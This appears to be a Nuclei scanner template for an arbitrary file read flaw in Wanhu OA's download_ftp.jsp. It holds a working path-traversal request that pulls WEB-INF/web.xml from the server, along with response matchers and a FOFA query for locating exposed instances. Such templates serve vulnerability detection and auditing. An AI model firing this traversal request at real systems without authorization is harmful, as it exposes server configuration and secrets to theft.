nuclei-templates/http/vulnerabilities/wanhu/wanhu-download-ftp-file-rea...

37 lines
1.2 KiB
YAML
Executable File

id: wanhu-download-ftp-file-read
info:
name: Wanhu OA download_ftp.jsp - Arbitrary File Read
author: SleepingBag945
severity: high
description: |
There is an arbitrary file download vulnerability in the Wanhu OA download_ftp.jsp file. An attacker can download any file on the server through the vulnerability.
reference:
- http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20download_ftp.jsp%20任意文件下载漏洞.html
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/wanhu-oa-download-ftp-file-read.yaml
metadata:
verified: true
max-request: 1
fofa-query: app="万户网络-ezOFFICE"
tags: wanhu,lfi
http:
- method: GET
path:
- "{{BaseURL}}/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml"
matchers-condition: and
matchers:
- type: word
words:
- "<?xml version="
- "web-app"
- "display-name"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402203fdcfe585750e7a338d075dbcaf8bedc691ad7019d709af623258a55f4e8b2f002206495e48765222deb0cc7e7f942a1dfb325eb47c512a61f38a2a036581a2ca22e:922c64590222798bb761d5b6d8e72950